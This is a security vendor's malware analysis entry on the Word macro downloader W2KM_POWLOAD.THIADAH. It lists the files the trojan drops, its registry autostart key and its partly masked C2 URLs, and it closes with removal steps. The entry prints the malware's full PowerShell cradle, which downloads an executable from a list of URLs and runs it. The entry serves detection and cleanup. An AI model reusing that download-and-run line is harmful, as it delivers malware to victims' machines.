W2KM_POWLOAD.THIADAH

 Analysis by: Arvin Roi Macaraeg

 ALIASES:

TrojanDownloader:O97M/Dornoe.C!ams (Microsoft), RDN/Generic Downloader.x (McAfee)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

75,776 bytes

File Type:

DOC

Memory Resident:

No

Initial Samples Received Date:

22 Sep 2018

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %Public%\{Random Number}.exe
  • %AppDataLocal%\Microsoft\Windows\rowsetwindow.exe

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.. %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local on Windows Vista, 7, and 8.)

It adds the following processes:

  • cmd.exe powershell $wso=new-object Net.WebClient;$CEW='http://{BLOCKED}sacademy.com/dj7UM8xL@http://{BLOCKED}ech.com/k9VLuym@http://{BLOCKED}llingsuccess.com/11Y8LyqQm@http://{BLOCKED}talent.com/XKo4ZFqtu@http://{BLOCKED}twire.com/JhTlPtM'.Split('@');$PBb = '562';$zsW=$env:public+'\'+$PBb+'.exe';foreach($HjP in $CEW){try{$wso.DownloadFile($HjP, $zsW);Invoke-Item $zsW;break;}catch{}}

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
rowsetwindow = "%AppDataLocal%\Microsoft\Windows\rowsetwindow.exe"

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://{BLOCKED}sacademy.com/dj7UM8xL
  • http://{BLOCKED}ech.com/k9VLuym
  • http://{BLOCKED}talent.com/XKo4ZFqtu
  • http://{BLOCKED}.{BLOCKED}.100.124:7080/
  • http://{BLOCKED}sacademy.com/dj7UM8xL
  • http://{BLOCKED}ech.com/k9VLuym
  • http://{BLOCKED}llingsuccess.com/11Y8LyqQm
  • http://{BLOCKED}talent.com/XKo4ZFqtu
  • http://{BLOCKED}twire.com/JhTlPtM
  • http://{BLOCKED}.{BLOCKED}.100.124:7080/

However, as of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

14.504.01

FIRST VSAPI PATTERN DATE:

14 Sep 2018

VSAPI OPR PATTERN File:

14.505.00

VSAPI OPR PATTERN Date:

15 Sep 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as W2KM_POWLOAD.THIADAH

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • rowsetwindow = "%AppDataLocal%\Microsoft\Windows\rowsetwindow.exe"

Step 5

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Public%\{Random Numbers}.exe
  • %AppDataLocal%\Microsoft\Windows\rowsetwindow.exe

Step 6

Scan your computer with your Trend Micro product to delete files detected as W2KM_POWLOAD.THIADAH. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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